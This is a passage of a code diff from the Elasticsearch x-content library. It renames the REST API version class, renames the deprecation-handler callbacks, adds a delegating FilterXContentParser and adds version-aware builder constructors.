declareField(BiConsumer consumer, ContextParser positions = addConstructorArg(consumer, parseField); + Map positions = addConstructorArg(consumer, parseField); objectParser.declareField((target, v) -> target.constructorArg(positions, v), parser, parseField, type); } else { numberOfFields += 1; @@ -240,7 +240,7 @@ public void declareNamedObject(BiConsumer consumer, NamedObjectPar * constructor in the argument list so we don't need to do any fancy * or expensive lookups whenever the constructor args come in. */ - Map positions = addConstructorArg(consumer, parseField); + Map positions = addConstructorArg(consumer, parseField); objectParser.declareNamedObject((target, v) -> target.constructorArg(positions, v), namedObjectParser, parseField); } else { numberOfFields += 1; @@ -270,7 +270,7 @@ public void declareNamedObjects(BiConsumer> consumer, NamedOb * constructor in the argument list so we don't need to do any fancy * or expensive lookups whenever the constructor args come in. */ - Map positions = addConstructorArg(consumer, parseField); + Map positions = addConstructorArg(consumer, parseField); objectParser.declareNamedObjects((target, v) -> target.constructorArg(positions, v), namedObjectParser, parseField); } else { numberOfFields += 1; @@ -302,7 +302,7 @@ public void declareNamedObjects(BiConsumer> consumer, NamedOb * constructor in the argument list so we don't need to do any fancy * or expensive lookups whenever the constructor args come in. */ - Map positions = addConstructorArg(consumer, parseField); + Map positions = addConstructorArg(consumer, parseField); objectParser.declareNamedObjects((target, v) -> target.constructorArg(positions, v), namedObjectParser, wrapOrderedModeCallBack(orderedModeCallback), parseField); } else { @@ -313,10 +313,10 @@ public void declareNamedObjects(BiConsumer> consumer, NamedOb } int getNumberOfFields() { - assert this.constructorArgInfos.get(RestApiCompatibleVersion.currentVersion()).size() - == this.constructorArgInfos.get(RestApiCompatibleVersion.minimumSupported()).size() : + assert this.constructorArgInfos.get(RestApiVersion.current()).size() + == this.constructorArgInfos.get(RestApiVersion.minimumSupported()).size() : "Constructors must have same number of arguments per all compatible versions"; - return this.constructorArgInfos.get(RestApiCompatibleVersion.currentVersion()).size(); + return this.constructorArgInfos.get(RestApiVersion.current()).size(); } /** @@ -333,13 +333,17 @@ private boolean isConstructorArg(BiConsumer consumer) { * @param parseField Parse field * @return The argument position */ - private Map addConstructorArg(BiConsumer consumer, ParseField parseField) { + private Map addConstructorArg(BiConsumer consumer, ParseField parseField) { boolean required = consumer == REQUIRED_CONSTRUCTOR_ARG_MARKER; - for (RestApiCompatibleVersion restApiCompatibleVersion : parseField.getRestApiCompatibleVersions()) { - constructorArgInfos.computeIfAbsent(restApiCompatibleVersion, (v)-> new ArrayList<>()) - .add(new ConstructorArgInfo(parseField, required)); + if (RestApiVersion.minimumSupported().matches(parseField.getForRestApiVersion())) { + constructorArgInfos.computeIfAbsent(RestApiVersion.minimumSupported(), (v)-> new ArrayList<>()) + .add(new ConstructorArgInfo(parseField, required)); + } + if (RestApiVersion.current().matches(parseField.getForRestApiVersion())) { + constructorArgInfos.computeIfAbsent(RestApiVersion.current(), (v)-> new ArrayList<>()) + .add(new ConstructorArgInfo(parseField, required)); } //calculate the positions for the arguments @@ -453,17 +457,17 @@ private class Target { this.parser = parser; this.context = context; this.constructorArgs = new Object[constructorArgInfos - .getOrDefault(parser.getRestApiCompatibleVersion(), Collections.emptyList()).size()]; + .getOrDefault(parser.getRestApiVersion(), Collections.emptyList()).size()]; } /** * Set a constructor argument and build the target object if all constructor arguments have arrived. */ - private void constructorArg(Map positions, Object value) { - int position = positions.get(parser.getRestApiCompatibleVersion()) - 1; + private void constructorArg(Map positions, Object value) { + int position = positions.get(parser.getRestApiVersion()) - 1; constructorArgs[position] = value; constructorArgsCollected++; - if (constructorArgsCollected == constructorArgInfos.get(parser.getRestApiCompatibleVersion()).size()) { + if (constructorArgsCollected == constructorArgInfos.get(parser.getRestApiVersion()).size()) { buildTarget(); } } @@ -498,7 +502,7 @@ private Value finish() { StringBuilder message = null; for (int i = 0; i < constructorArgs.length; i++) { if (constructorArgs[i] != null) continue; - ConstructorArgInfo arg = constructorArgInfos.get(parser.getRestApiCompatibleVersion()).get(i); + ConstructorArgInfo arg = constructorArgInfos.get(parser.getRestApiVersion()).get(i); if (false == arg.required) continue; if (message == null) { message = new StringBuilder("Required [").append(arg.field); diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/DeprecationHandler.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/DeprecationHandler.java index ba82cebc9478d..5a01a27764ed2 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/DeprecationHandler.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/DeprecationHandler.java @@ -23,34 +23,34 @@ public interface DeprecationHandler { */ DeprecationHandler THROW_UNSUPPORTED_OPERATION = new DeprecationHandler() { @Override - public void usedDeprecatedField(String parserName, Supplier location, String usedName, String replacedWith) { + public void logReplacedField(String parserName, Supplier location, String oldName, String replacedName) { if (parserName != null) { throw new UnsupportedOperationException("deprecated fields not supported in [" + parserName + "] but got [" - + usedName + "] at [" + location.get() + "] which is a deprecated name for [" + replacedWith + "]"); + + oldName + "] at [" + location.get() + "] which is a deprecated name for [" + replacedName + "]"); } else { throw new UnsupportedOperationException("deprecated fields not supported here but got [" - + usedName + "] which is a deprecated name for [" + replacedWith + "]"); + + oldName + "] which is a deprecated name for [" + replacedName + "]"); } } @Override - public void usedDeprecatedName(String parserName, Supplier location, String usedName, String modernName) { + public void logRenamedField(String parserName, Supplier location, String oldName, String currentName) { if (parserName != null) { throw new UnsupportedOperationException("deprecated fields not supported in [" + parserName + "] but got [" - + usedName + "] at [" + location.get() + "] which has been replaced with [" + modernName + "]"); + + oldName + "] at [" + location.get() + "] which has been replaced with [" + currentName + "]"); } else { throw new UnsupportedOperationException("deprecated fields not supported here but got [" - + usedName + "] which has been replaced with [" + modernName + "]"); + + oldName + "] which has been replaced with [" + currentName + "]"); } } @Override - public void usedDeprecatedField(String parserName, Supplier location, String usedName) { + public void logRemovedField(String parserName, Supplier location, String removedName) { if (parserName != null) { throw new UnsupportedOperationException("deprecated fields not supported in [" + parserName + "] but got [" - + usedName + "] at [" + location.get() + "] which has been deprecated entirely"); + + removedName + "] at [" + location.get() + "] which has been deprecated entirely"); } else { throw new UnsupportedOperationException("deprecated fields not supported here but got [" - + usedName + "] which has been deprecated entirely"); + + removedName + "] which has been deprecated entirely"); } } }; @@ -60,41 +60,69 @@ public void usedDeprecatedField(String parserName, Supplier lo */ DeprecationHandler IGNORE_DEPRECATIONS = new DeprecationHandler() { @Override - public void usedDeprecatedName(String parserName, Supplier location, String usedName, String modernName) { + public void logRenamedField(String parserName, Supplier location, String oldName, String currentName) { } @Override - public void usedDeprecatedField(String parserName, Supplier location, String usedName, String replacedWith) { + public void logReplacedField(String parserName, Supplier location, String oldName, String replacedName) { } @Override - public void usedDeprecatedField(String parserName, Supplier location, String usedName) { + public void logRemovedField(String parserName, Supplier location, String removedName) { } }; /** * Called when the provided field name matches a deprecated name for the field. - * @param usedName the provided field name - * @param modernName the modern name for the field + * @param oldName the provided field name + * @param currentName the modern name for the field */ - void usedDeprecatedName(String parserName, Supplier location, String usedName, String modernName); + void logRenamedField(String parserName, Supplier location, String oldName, String currentName); /** * Called when the provided field name matches the current field but the entire * field has been marked as deprecated and another field should be used - * @param usedName the provided field name - * @param replacedWith the name of the field that replaced this field + * @param oldName the provided field name + * @param replacedName the name of the field that replaced this field */ - void usedDeprecatedField(String parserName, Supplier location, String usedName, String replacedWith); + void logReplacedField(String parserName, Supplier location, String oldName, String replacedName); /** * Called when the provided field name matches the current field but the entire * field has been marked as deprecated with no replacement - * @param usedName the provided field name + * Emits a compatible api warning instead of deprecation warning when isCompatibleDeprecation is true + * @param removedName the provided field name */ - void usedDeprecatedField(String parserName, Supplier location, String usedName); + void logRemovedField(String parserName, Supplier location, String removedName); + + /** + * @see DeprecationHandler#logRenamedField(String, Supplier, String, String) + * Emits a compatible api warning instead of deprecation warning when isCompatibleDeprecation is true + */ + default void logRenamedField(String parserName, Supplier location, String oldName, String currentName, + boolean isCompatibleDeprecation) { + logRenamedField(parserName, location, oldName, currentName); + } + + /** + * @see DeprecationHandler#logReplacedField(String, Supplier, String, String) + * Emits a compatible api warning instead of deprecation warning when isCompatibleDeprecation is true + */ + default void logReplacedField(String parserName, Supplier location, String oldName, String replacedName, + boolean isCompatibleDeprecation) { + logReplacedField(parserName, location, oldName, replacedName); + } + + /** + * @see DeprecationHandler#logRemovedField(String, Supplier, String) + * Emits a compatible api warning instead of deprecation warning when isCompatibleDeprecation is true + */ + default void logRemovedField(String parserName, Supplier location, String removedName, + boolean isCompatibleDeprecation) { + logRemovedField(parserName, location, removedName); + } } diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/FilterXContentParser.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/FilterXContentParser.java new file mode 100644 index 0000000000000..de56b5716b3e9 --- /dev/null +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/FilterXContentParser.java @@ -0,0 +1,246 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.xcontent; + +import org.elasticsearch.common.CheckedFunction; +import org.elasticsearch.common.RestApiVersion; + +import java.io.IOException; +import java.nio.CharBuffer; +import java.util.List; +import java.util.Map; +import java.util.function.Supplier; + +/** + * Filters an existing XContentParser by using a delegate + */ +public abstract class FilterXContentParser implements XContentParser { + + protected final XContentParser in; + + protected FilterXContentParser(XContentParser in) { + this.in = in; + } + + @Override + public XContentType contentType() { + return in.contentType(); + } + + @Override + public Token nextToken() throws IOException { + return in.nextToken(); + } + + @Override + public void skipChildren() throws IOException { + in.skipChildren(); + } + + @Override + public Token currentToken() { + return in.currentToken(); + } + + @Override + public String currentName() throws IOException { + return in.currentName(); + } + + @Override + public Map map() throws IOException { + return in.map(); + } + + @Override + public Map mapOrdered() throws IOException { + return in.mapOrdered(); + } + + @Override + public Map mapStrings() throws IOException { + return in.mapStrings(); + } + + @Override + public Map map( + Supplier> mapFactory, CheckedFunction mapValueParser) throws IOException { + return in.map(mapFactory, mapValueParser); + } + + @Override + public List list() throws IOException { + return in.list(); + } + + @Override + public List listOrderedMap() throws IOException { + return in.listOrderedMap(); + } + + @Override + public String text() throws IOException { + return in.text(); + } + + @Override + public String textOrNull() throws IOException { + return in.textOrNull(); + } + + @Override + public CharBuffer charBufferOrNull() throws IOException { + return in.charBufferOrNull(); + } + + @Override + public CharBuffer charBuffer() throws IOException { + return in.charBuffer(); + } + + @Override + public Object objectText() throws IOException { + return in.objectText(); + } + + @Override + public Object objectBytes() throws IOException { + return in.objectBytes(); + } + + @Override + public boolean hasTextCharacters() { + return in.hasTextCharacters(); + } + + @Override + public char[] textCharacters() throws IOException { + return in.textCharacters(); + } + + @Override + public int textLength() throws IOException { + return in.textLength(); + } + + @Override + public int textOffset() throws IOException { + return in.textOffset(); + } + + @Override + public Number numberValue() throws IOException { + return in.numberValue(); + } + + @Override + public NumberType numberType() throws IOException { + return in.numberType(); + } + + @Override + public short shortValue(boolean coerce) throws IOException { + return in.shortValue(coerce); + } + + @Override + public int intValue(boolean coerce) throws IOException { + return in.intValue(coerce); + } + + @Override + public long longValue(boolean coerce) throws IOException { + return in.longValue(coerce); + } + + @Override + public float floatValue(boolean coerce) throws IOException { + return in.floatValue(coerce); + } + + @Override + public double doubleValue(boolean coerce) throws IOException { + return in.doubleValue(coerce); + } + + @Override + public short shortValue() throws IOException { + return in.shortValue(); + } + + @Override + public int intValue() throws IOException { + return in.intValue(); + } + + @Override + public long longValue() throws IOException { + return in.longValue(); + } + + @Override + public float floatValue() throws IOException { + return in.floatValue(); + } + + @Override + public double doubleValue() throws IOException { + return in.doubleValue(); + } + + @Override + public boolean isBooleanValue() throws IOException { + return in.isBooleanValue(); + } + + @Override + public boolean booleanValue() throws IOException { + return in.booleanValue(); + } + + @Override + public byte[] binaryValue() throws IOException { + return in.binaryValue(); + } + + @Override + public XContentLocation getTokenLocation() { + return in.getTokenLocation(); + } + + @Override + public T namedObject(Class categoryClass, String name, Object context) throws IOException { + return in.namedObject(categoryClass, name, context); + } + + @Override + public NamedXContentRegistry getXContentRegistry() { + return in.getXContentRegistry(); + } + + @Override + public boolean isClosed() { + return in.isClosed(); + } + + @Override + public void close() throws IOException { + in.close(); + } + + @Override + public RestApiVersion getRestApiVersion() { + return in.getRestApiVersion(); + } + + @Override + public DeprecationHandler getDeprecationHandler() { + return in.getDeprecationHandler(); + } +} diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/NamedXContentRegistry.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/NamedXContentRegistry.java index 6a7964883f05f..3cba3507c46bb 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/NamedXContentRegistry.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/NamedXContentRegistry.java @@ -10,7 +10,7 @@ import org.elasticsearch.common.CheckedFunction; import org.elasticsearch.common.ParseField; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import java.io.IOException; import java.util.ArrayList; @@ -139,7 +139,7 @@ private Map, Map> getRegistry(List entries){ */ public T parseNamedObject(Class categoryClass, String name, XContentParser parser, C context) throws IOException { - Map parsers = parser.getRestApiCompatibleVersion() == RestApiCompatibleVersion.minimumSupported() ? + Map parsers = parser.getRestApiVersion() == RestApiVersion.minimumSupported() ? compatibleRegistry.get(categoryClass) : registry.get(categoryClass); if (parsers == null) { if (registry.isEmpty()) { diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/ObjectParser.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/ObjectParser.java index ae0c0093e58b5..43f415db8ee9f 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/ObjectParser.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/ObjectParser.java @@ -9,7 +9,7 @@ import org.elasticsearch.common.Nullable; import org.elasticsearch.common.ParseField; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import java.io.IOException; import java.lang.reflect.Array; @@ -91,7 +91,7 @@ private static UnknownFieldParser ignoreUnknown private static UnknownFieldParser errorOnUnknown() { return (op, f, l, p, v, c) -> { throw new XContentParseException(l, ErrorOnUnknown.IMPLEMENTATION.errorMessage(op.name, f, - op.fieldParserMap.getOrDefault(p.getRestApiCompatibleVersion(), Collections.emptyMap()) + op.fieldParserMap.getOrDefault(p.getRestApiVersion(), Collections.emptyMap()) .keySet())); }; } @@ -142,7 +142,7 @@ private static UnknownFieldParser unk o = parser.namedObject(categoryClass, field, context); } catch (NamedObjectNotFoundException e) { Set candidates = new HashSet<>(objectParser.fieldParserMap - .getOrDefault(parser.getRestApiCompatibleVersion(), Collections.emptyMap()) + .getOrDefault(parser.getRestApiVersion(), Collections.emptyMap()) .keySet()); e.getCandidates().forEach(candidates::add); String message = ErrorOnUnknown.IMPLEMENTATION.errorMessage(objectParser.name, field, candidates); @@ -152,7 +152,7 @@ private static UnknownFieldParser unk }; } - private final Map> fieldParserMap = new HashMap<>(); + private final Map> fieldParserMap = new HashMap<>(); private final String name; private final Function valueBuilder; private final UnknownFieldParser unknownFieldParser; @@ -283,7 +283,7 @@ public Value parse(XContentParser parser, Value value, Context context) throws I if (token == XContentParser.Token.FIELD_NAME) { currentFieldName = parser.currentName(); currentPosition = parser.getTokenLocation(); - fieldParser = fieldParserMap.getOrDefault(parser.getRestApiCompatibleVersion(), Collections.emptyMap()) + fieldParser = fieldParserMap.getOrDefault(parser.getRestApiVersion(), Collections.emptyMap()) .get(currentFieldName); } else { if (currentFieldName == null) { @@ -366,13 +366,22 @@ public void declareField(Parser p, ParseField parseField, ValueT } FieldParser fieldParser = new FieldParser(p, type.supportedTokens(), parseField, type); for (String fieldValue : parseField.getAllNamesIncludedDeprecated()) { - if (parseField.getRestApiCompatibleVersions().contains(RestApiCompatibleVersion.minimumSupported())) { - fieldParserMap.putIfAbsent(RestApiCompatibleVersion.minimumSupported(), new HashMap<>()); - fieldParserMap.get(RestApiCompatibleVersion.minimumSupported()).putIfAbsent(fieldValue, fieldParser); + + if (RestApiVersion.minimumSupported().matches(parseField.getForRestApiVersion())) { + Map nameToParserMap = + fieldParserMap.computeIfAbsent(RestApiVersion.minimumSupported(), (v) -> new HashMap<>()); + FieldParser previousValue = nameToParserMap.putIfAbsent(fieldValue, fieldParser); + if (previousValue != null) { + throw new IllegalArgumentException("Parser already registered for name=[" + fieldValue + "]. " + previousValue); + } } - if (parseField.getRestApiCompatibleVersions().contains(RestApiCompatibleVersion.currentVersion())) { - fieldParserMap.putIfAbsent(RestApiCompatibleVersion.currentVersion(), new HashMap<>()); - fieldParserMap.get(RestApiCompatibleVersion.currentVersion()).putIfAbsent(fieldValue, fieldParser); + if (RestApiVersion.current().matches(parseField.getForRestApiVersion())) { + Map nameToParserMap = + fieldParserMap.computeIfAbsent(RestApiVersion.current(), (v) -> new HashMap<>()); + FieldParser previousValue = nameToParserMap.putIfAbsent(fieldValue, fieldParser); + if (previousValue != null) { + throw new IllegalArgumentException("Parser already registered for name=[" + fieldValue + "]. " + previousValue); + } } } diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContent.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContent.java index 839a9b13a84b1..8f82e38823e6a 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContent.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContent.java @@ -8,7 +8,7 @@ package org.elasticsearch.common.xcontent; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import java.io.IOException; import java.io.InputStream; @@ -78,10 +78,10 @@ XContentParser createParser(NamedXContentRegistry xContentRegistry, DeprecationH /** * Creates a parser over the provided input stream and with the indication that a request is using REST compatible API. - * Depending on restApiCompatibleVersionParses - * @param restApiCompatibleVersion - indicates if the N-1 or N compatible XContent parsing logic will be used. + * + * @param restApiVersion - indicates if the N-1 or N compatible XContent parsing logic will be used. */ XContentParser createParserForCompatibility(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, - InputStream is, RestApiCompatibleVersion restApiCompatibleVersion) throws IOException; + InputStream is, RestApiVersion restApiVersion) throws IOException; } diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentBuilder.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentBuilder.java index 708f42df752df..896e77a0ba49e 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentBuilder.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentBuilder.java @@ -8,7 +8,7 @@ package org.elasticsearch.common.xcontent; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import java.io.ByteArrayOutputStream; import java.io.Closeable; @@ -53,6 +53,24 @@ public static XContentBuilder builder(XContent xContent) throws IOException { return new XContentBuilder(xContent, new ByteArrayOutputStream()); } + /** + * Create a new {@link XContentBuilder} using the given {@link XContent} content and RestApiVersion. + *

+ * The builder uses an internal {@link ByteArrayOutputStream} output stream to build the content. + *

+ * + * @param xContent the {@link XContent} + * @return a new {@link XContentBuilder} + * @throws IOException if an {@link IOException} occurs while building the content + */ + public static XContentBuilder builder(XContent xContent, RestApiVersion restApiVersion) throws IOException { + return new XContentBuilder(xContent, new ByteArrayOutputStream(), + Collections.emptySet(), + Collections.emptySet(), + xContent.type().toParsedMediaType(), + restApiVersion); + } + /** * Create a new {@link XContentBuilder} using the given {@link XContentType} xContentType and some inclusive and/or exclusive filters. *

@@ -68,7 +86,7 @@ public static XContentBuilder builder(XContent xContent) throws IOException { */ public static XContentBuilder builder(XContentType xContentType, Set includes, Set excludes) throws IOException { return new XContentBuilder(xContentType.xContent(), new ByteArrayOutputStream(), includes, excludes, - xContentType.toParsedMediaType()); + xContentType.toParsedMediaType(), RestApiVersion.current()); } private static final Map, Writer> WRITERS; @@ -77,6 +95,7 @@ public static XContentBuilder builder(XContentType xContentType, Set inc static { Map, Writer> writers = new HashMap<>(); writers.put(Boolean.class, (b, v) -> b.value((Boolean) v)); + writers.put(boolean[].class, (b, v) -> b.values((boolean[]) v)); writers.put(Byte.class, (b, v) -> b.value((Byte) v)); writers.put(byte[].class, (b, v) -> b.value((byte[]) v)); writers.put(Date.class, XContentBuilder::timeValue); @@ -152,21 +171,23 @@ public interface HumanReadableTransformer { */ private final OutputStream bos; + private final RestApiVersion restApiVersion; + + private final ParsedMediaType responseContentType; + /** * When this flag is set to true, some types of values are written in a format easier to read for a human. */ private boolean humanReadable = false; - private RestApiCompatibleVersion restApiCompatibilityVersion; - private ParsedMediaType responseContentType; /** * Constructs a new builder using the provided XContent and an OutputStream. Make sure * to call {@link #close()} when the builder is done with. */ public XContentBuilder(XContent xContent, OutputStream bos) throws IOException { - this(xContent, bos, Collections.emptySet(), Collections.emptySet(), xContent.type().toParsedMediaType()); + this(xContent, bos, Collections.emptySet(), Collections.emptySet(), xContent.type().toParsedMediaType(), RestApiVersion.current()); } /** * Constructs a new builder using the provided XContent, an OutputStream and @@ -175,7 +196,7 @@ public XContentBuilder(XContent xContent, OutputStream bos) throws IOException { * {@link #close()} when the builder is done with. */ public XContentBuilder(XContentType xContentType, OutputStream bos, Set includes) throws IOException { - this(xContentType.xContent(), bos, includes, Collections.emptySet(), xContentType.toParsedMediaType()); + this(xContentType.xContent(), bos, includes, Collections.emptySet(), xContentType.toParsedMediaType(), RestApiVersion.current()); } /** @@ -191,10 +212,30 @@ public XContentBuilder(XContentType xContentType, OutputStream bos, Set */ public XContentBuilder(XContent xContent, OutputStream os, Set includes, Set excludes, ParsedMediaType responseContentType) throws IOException { + this(xContent, os, includes, excludes, responseContentType, RestApiVersion.current()); + } + + /** + * Creates a new builder using the provided XContent, output stream and some inclusive and/or exclusive filters. When both exclusive and + * inclusive filters are provided, the underlying builder will first use exclusion filters to remove fields and then will check the + * remaining fields against the inclusive filters. + * Stores RestApiVersion to help steer the use of the builder depending on the version. + * @see #getRestApiVersion() + *

+ * Make sure to call {@link #close()} when the builder is done with. + * @param os the output stream + * @param includes the inclusive filters: only fields and objects that match the inclusive filters will be written to the output. + * @param excludes the exclusive filters: only fields and objects that don't match the exclusive filters will be written to the output. + * @param responseContentType a content-type header value to be send back on a response + * @param restApiVersion a rest api version indicating with which version the XContent is compatible with. + */ + public XContentBuilder(XContent xContent, OutputStream os, Set includes, Set excludes, + ParsedMediaType responseContentType, RestApiVersion restApiVersion) throws IOException { this.bos = os; assert responseContentType != null : "generated response cannot be null"; this.responseContentType = responseContentType; this.generator = xContent.createGenerator(bos, includes, excludes); + this.restApiVersion = restApiVersion; } public String getResponseContentTypeString() { @@ -1006,23 +1047,13 @@ public XContentBuilder copyCurrentStructure(XContentParser parser) throws IOExce return this; } - /** - * Sets a version used for serialising a response compatible with a previous version. - * @param restApiCompatibleVersion - indicates requested a version of API that the builder will be creating - */ - public XContentBuilder withCompatibleVersion(RestApiCompatibleVersion restApiCompatibleVersion) { - assert this.restApiCompatibilityVersion == null : "restApiCompatibleVersion has already been set"; - Objects.requireNonNull(restApiCompatibleVersion, "restApiCompatibleVersion cannot be null"); - this.restApiCompatibilityVersion = restApiCompatibleVersion; - return this; - } /** * Returns a version used for serialising a response. * @return a compatible version */ - public RestApiCompatibleVersion getRestApiCompatibilityVersion() { - return restApiCompatibilityVersion; + public RestApiVersion getRestApiVersion() { + return restApiVersion; } @Override diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentParser.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentParser.java index b7dea17ee5d70..35e070a7d4371 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentParser.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentParser.java @@ -9,7 +9,7 @@ package org.elasticsearch.common.xcontent; import org.elasticsearch.common.CheckedFunction; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import java.io.Closeable; import java.io.IOException; @@ -252,7 +252,7 @@ Map map( boolean isClosed(); - RestApiCompatibleVersion getRestApiCompatibleVersion(); + RestApiVersion getRestApiVersion(); /** * The callback to notify when parsing encounters a deprecated field. diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentSubParser.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentSubParser.java index b318bc5ad343d..29a6f7f9a8b6e 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentSubParser.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/XContentSubParser.java @@ -9,7 +9,7 @@ package org.elasticsearch.common.xcontent; import org.elasticsearch.common.CheckedFunction; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import java.io.IOException; import java.nio.CharBuffer; @@ -260,8 +260,8 @@ public boolean isClosed() { } @Override - public RestApiCompatibleVersion getRestApiCompatibleVersion() { - return parser.getRestApiCompatibleVersion(); + public RestApiVersion getRestApiVersion() { + return parser.getRestApiVersion(); } @Override diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/cbor/CborXContent.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/cbor/CborXContent.java index bad16abe7d216..359351ad25ff0 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/cbor/CborXContent.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/cbor/CborXContent.java @@ -12,7 +12,7 @@ import com.fasterxml.jackson.core.JsonGenerator; import com.fasterxml.jackson.core.JsonParser; import com.fasterxml.jackson.dataformat.cbor.CBORFactory; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; import org.elasticsearch.common.xcontent.XContent; @@ -100,9 +100,9 @@ public XContentParser createParser(NamedXContentRegistry xContentRegistry, @Override public XContentParser createParserForCompatibility(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, InputStream is, - RestApiCompatibleVersion restApiCompatibleVersion) + RestApiVersion restApiVersion) throws IOException { - return new CborXContentParser(xContentRegistry, deprecationHandler, cborFactory.createParser(is), restApiCompatibleVersion); + return new CborXContentParser(xContentRegistry, deprecationHandler, cborFactory.createParser(is), restApiVersion); } } diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/cbor/CborXContentParser.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/cbor/CborXContentParser.java index a12b50efc7aac..9df0c2c4eeb7b 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/cbor/CborXContentParser.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/cbor/CborXContentParser.java @@ -9,7 +9,7 @@ package org.elasticsearch.common.xcontent.cbor; import com.fasterxml.jackson.core.JsonParser; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; import org.elasticsearch.common.xcontent.XContentType; @@ -24,8 +24,8 @@ public CborXContentParser(NamedXContentRegistry xContentRegistry, public CborXContentParser(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, JsonParser parser, - RestApiCompatibleVersion restApiCompatibleVersion) { - super(xContentRegistry, deprecationHandler, parser, restApiCompatibleVersion); + RestApiVersion restApiVersion) { + super(xContentRegistry, deprecationHandler, parser, restApiVersion); } @Override diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/json/JsonXContent.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/json/JsonXContent.java index 21fb8e9c3e4e5..6ce7e81b91f5b 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/json/JsonXContent.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/json/JsonXContent.java @@ -12,7 +12,7 @@ import com.fasterxml.jackson.core.JsonFactory; import com.fasterxml.jackson.core.JsonGenerator; import com.fasterxml.jackson.core.JsonParser; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; import org.elasticsearch.common.xcontent.XContent; @@ -101,8 +101,8 @@ public XContentParser createParser(NamedXContentRegistry xContentRegistry, @Override public XContentParser createParserForCompatibility(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, InputStream is, - RestApiCompatibleVersion restApiCompatibleVersion) throws IOException { - return new JsonXContentParser(xContentRegistry, deprecationHandler, jsonFactory.createParser(is), restApiCompatibleVersion); + RestApiVersion restApiVersion) throws IOException { + return new JsonXContentParser(xContentRegistry, deprecationHandler, jsonFactory.createParser(is), restApiVersion); } } diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/json/JsonXContentParser.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/json/JsonXContentParser.java index 20038b1dc3c1c..9d4bc4fe2840a 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/json/JsonXContentParser.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/json/JsonXContentParser.java @@ -11,7 +11,7 @@ import com.fasterxml.jackson.core.JsonLocation; import com.fasterxml.jackson.core.JsonParser; import 